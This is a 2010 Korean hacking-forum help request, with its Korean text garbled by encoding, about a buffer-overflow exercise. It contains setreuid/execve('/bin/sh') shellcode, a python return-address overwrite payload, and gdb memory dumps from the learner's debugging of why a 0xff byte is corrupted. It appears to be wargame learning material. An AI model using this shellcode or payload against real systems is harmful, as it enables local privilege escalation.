http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship&no=118 [º¹»ç]
¾Æ¿ì¼± ÀÌ·± Áú¹®À» ¿Ã·ÁµµµÇ´Â°ÍÀÎÁö ¸ð¸£°Ù³×¿ä;;
ÀÚºñ·Ó°Ô ºÁÁÖ¼¼¿ä ¤Ð
½©ÄÚµå´Â
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe08\xdc\xff\xff\xff/bin/sh"
ÀÔ´Ï´Ù
-------------------------------------------------------------------
(gdb) x/12 0xbffffc29
0xbffffc29: 0x31b0c031 0xc38980cd 0xc031c18 0x80cd46b0
0xbffffc39: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46
0xbffffc49: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889
-------------------------------------------------------------------
¿©±â±îÁö봣À»떄 0xbffffc29¿¡ ½©Äڵ带 ³ÖÀº°Ç È®½ÇÇÑ°Å°°±¸
buf[40]ÄÀ̱⿡
`python -c 'print "a"*44+"\x29\xfc\xff\xbf"'` `python -c 'print "½©ÄÚµå"'`
buf[40]+sfp + ret
ÀÌ·¸°Ô °ø°ÝÀ» Çß½À´Ï´Ù ¤Ð¤Ð
°ø°ÝÀ»Çϸé
-------------------------------------------------------------------
(gdb) cont
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)
Program received signal SIGSEGV, Segmentation fault.
0x9c00fc1e in ?? ()
-------------------------------------------------------------------
0x9c00fc1e : Cannot access memory at address 0x9c00fc1e
0x9c00fc1e¿¡´Â ¾Æ¹«°ÍµÎ ¾ø³×À¯ ¤Ð¤Ð leaveÇϱâ Á÷Àü¿¡ b°É±¸ È®ÀÎÇ޴µ¥¤Ð
-------------------------------------------------------------------
(gdb) x/x $ebp
0xbffffa88: 0x61616161
(gdb) x/x 0xbffffa88
0xbffffa88: 0x61616161
(gdb)
0xbffffa8c: 0x4000fc29
-------------------------------------------------------------------
ret¿¡ 4000fc29°¡ µé¾î°¡´Âµ¥ fc29´Â Á¦´ë·Î µé¾î°£°Å°°Àºµ¥
bfff°¡ ¿Ö 4000ÀÌ µÇ´Â°Ç°¡¿ä ¤Ð_¤Ð;;
À̺κРÈùÆ®Á» ÁÖ½Ã¸é °¨»çÇÏ°Ú½À´Ï´Ù.
´äº¯´Þ¾ÆÁֽǶ§±îÁö °è¼Ó ã¾Æº¸°í ÀÖ°Ù½À´Ï´Ù !
++
¾Æ ! ff´Â ³ÖÀ»¼ö ¾ø´Ù°íÇϳ׿ä¤Ð¤Ð ff´Â backspace¶ó!!
±×·¸´Ù¸é ff´Â ¾î¶»°Ô ³Ö¾î¾ßÇϳª¿ä? ¤Ð¤Ð
´Ù½Ã °Ë»öÇغ¸°íÀÕ°Ù½À´Ï´Ù !
´äº¯´Þ¾ÆÁÖ¼¼¿ä ¤Ð
++ °á·Ð
\xff´Â backspace ¿ªÈ°À» Çϴ°Ű°½À´Ï´Ù.
4c00 ÀÇ À§Ä¡¸¦ º¸´Ï
0xbffffc56: 0x90909090
0xbffffc5a: 0x4c00fc2a // \x2a\xfc\xff\xbf
0xbffffc5e: 0x4f535345 // ff°¡ bf¸¦ Áö¿î°Å°°³×¿ä(?)
0xbffffc54: 0x90909090
0xbffffc58: 0xbbaafc2a // \x2a\xfc\xaa\xbb
0xbffffc5c: 0x53454c00 // 4c00ÀÌ ¾Æ·¡¿¡Àճ׿ä
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Hit : 2474 Date : 2010/05/12 10:45
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